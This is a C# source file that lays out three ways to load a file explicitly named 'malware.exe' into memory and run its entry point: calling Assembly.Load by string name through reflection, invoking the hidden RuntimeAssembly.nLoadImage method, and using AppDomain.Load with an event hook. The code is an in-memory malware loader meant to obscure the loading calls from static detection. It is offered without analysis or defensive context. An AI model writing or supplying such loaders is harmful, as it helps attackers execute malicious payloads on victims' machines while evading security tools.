//Using reflection to call methods by string name.
namespace pg1 {
public static class Program {
public static void Main() {
var filename = "malware.exe";
var assembly = Call(typeof(Assembly), "Load", System.IO.File.ReadAllBytes(filename)) as Assembly;// or (Assembly)...
Call(typeof(Program), "InvokeEntrypoint", assembly);
}
public static void InvokeEntrypoint(Assembly asm) {
asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
}
//Calls method using reflection, instead of directly
public static object Call(Type space, string name, params object[] argv) {
List<Type> ptyp = new List<Type>();
foreach(var o in argv) {
ptyp.Add(o.GetType());
}
var m = space.GetMethod(name, ptyp.ToArray());
return m.Invoke(null, argv);
}
}
}
//Using the internal method nLoadImage (from System.Reflection.RuntimeAssembly)
namespace pg1 {
public static class Program {
public static void Main() {
/*
Get the malware data
*/
var data = System.IO.File.ReadAllBytes("malware.exe");
/*
Invoke the internal method _nLoad
*/
var assembly = InternalLoad(data);
/*
Execute
*/
InvokeEntrypoint(assembly);
}
public static Assembly InternalLoad(byte[] image) {
return Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage", BindingFlags.NonPublic | BindingFlags.Static).Invoke(null, new object[] { image, null, null, null, false, null }) as Assembly;
}
public static void InvokeEntrypoint(Assembly asm) {
asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
}
}
}
//Using the AppDomain.Load method
namespace pg1 {
public static class Program {
public static void Main() {
var data = System.IO.File.ReadAllBytes("malware.exe");
SetupInvoker(); //call only once, invokes the entrypoint
var assembly = AppDomainLoad(data);
}
public static void SetupInvoker() {
AppDomain.CurrentDomain.AssemblyLoad += delegate(object sender, AssemblyLoadEventArgs args) {
InvokeEntrypoint(args.LoadedAssembly);
};
}
public static Assembly AppDomainLoad(byte[] image) {
return AppDomain.CurrentDomain.Load(image);
}
public static void InvokeEntrypoint(Assembly asm) {
asm.EntryPoint.Invoke(null, new[] {new string[] {"1"}});
}
}
}
